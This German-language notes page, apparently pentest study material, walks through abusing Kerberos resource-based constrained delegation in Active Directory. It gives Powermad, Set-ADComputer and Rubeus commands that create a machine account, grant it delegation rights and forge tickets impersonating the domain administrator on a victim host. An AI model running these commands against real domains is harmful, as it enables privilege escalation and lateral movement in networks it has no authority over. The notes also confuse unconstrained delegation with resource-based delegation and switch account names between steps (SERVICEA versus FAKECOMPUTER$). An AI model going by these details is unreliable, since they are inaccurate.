Skip to content

Es ist nicht möglich kerberos Tickets weiterzuleiten, wie bei der NTLM Authentifizierung. Kerberos Tickets sind teilweise verschlüsselt mit dem Passwort eines Services, bei dem ein Nutzer sich authentifizieren will. Dieses Ticket zu einem anderen Service zu senden ist also wenig sinnvoll.

Diese Attacke ist dabei ähnlich zu der [[Kerberos Delegation - Constrained Delegation]] Attacke. Aber anstatt einem Objekt das Recht zu geben sich gegenüber einem Service als bestimmter Nutzer auszugeben wird bei der unconstrained delegation das Objekt gesetzt, welches sich als jeder Nutzer gegen sich ausgeben kann. In diesem Fall hat das Objekt ein Attribut namens msDS-AllowedToActOnBehalfOfOtherIdentity mit dem Namen des Nutzer, welcher sich als jeder andere Nutzer gegen sich ausgeben kann.

Ein anderer Unterschied zu den Constrained Delegations ist, das jeder Nutzer mit schreibrechten über einen Maschinen Account(GenericAll/GenericWrite/WriteDacl/WriteProperty) die Variable ms-DS-AllowedToActOnBehalfOfOtherIdentity setzen kann.

[!warning] Vorraussetzungen 1. Kontrolle über einen Account mit unconstrained delegation Rechten 2. Erlaubnis den servicePrincipalName des Accounts zu modifizieren (optional) 3. Erlaubnis die DNS Einträge zu ändern/modifizieren (optional) 4. Die Möglichkeit, die opfer Computer/Nutzer zu uns zu verbinden

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/

  • Neue Konzepte

    In [[Kerberos Delegation - Constrained Delegation]] wurde gesagt, dass das Flag TrustedToAuthForDelegation in dem Wert userAccountControl im Nutzer benötigt wird um eine S4U2Self Attacke auszuführen. Doch dies ist auch ohne diesen Wert möglich, wenn man Kontrolle über einen Service (SPN) hat. Doch mit TrustedToAuthForDelegation das zurückgegebene TGS ist weiterleitbar. Das bedeutet, ein nicht weiterleitbares Ticket klappt nicht mit der [[Kerberos Delegation - Constrained Delegation]], aber mit der Unconstrained Delegation.

  • Angriffsstruktur

    Es wird angenommen, dass der Angreifer bereits schreibähnliche Rechte über einen Opfer Computer hat.
  • Der Angreifer kompromitiert einen Account mit SPN oder erstellt einen. Jeder Admin Nutzer ohne spezielle Rechte kann bis zu 10 Computer Objekte erstellen und sie als SPN setzen.
  • Der Angreifer nutzt seine schreibrechte aus um resource based constrained delegation für einen Service zu erlauben, um sich als anderer Nutzer auszugeben.
  • Der Angreifer nutzt rubeus um eine S4U (S4U2Self oder S4U2Proxy) Attacke auszuführen.
  • Der Angreifer nutzt pass-the-ticket um sich als anderer Nutzer auszugeben um Zugriff auf einen bestimmten Service zu erlangen.

  • Angriff

  • Erstellen eines Computer Objektes

    Das Erstellen eines Computer Objektes ist mit powermad möglich. 
    import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check, ob das Objekt erstellt wurde
Get-DomainComputer SERVICEA

  • Konfigurieren von Resource-based Constrained Delegation

    Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ # Zuweisen des Privilegs
    Auch mit powerview möglich

  • Durchführen der S4U Attacke

    Zuerst wird der Hash des Passwortes benötigt: 
    Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
    Dadurch werden die RC4 und AES hashes angezeigt. Nun kann die Attacke beginnen: 
    rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
    Weitere Tickets können mit dem /altserviceFlag erstellt werden: 
    rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

  • Todo

    #TODO Möglicherweise ist es doch möglich Kerberos Tickets weiterzuleiten: https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/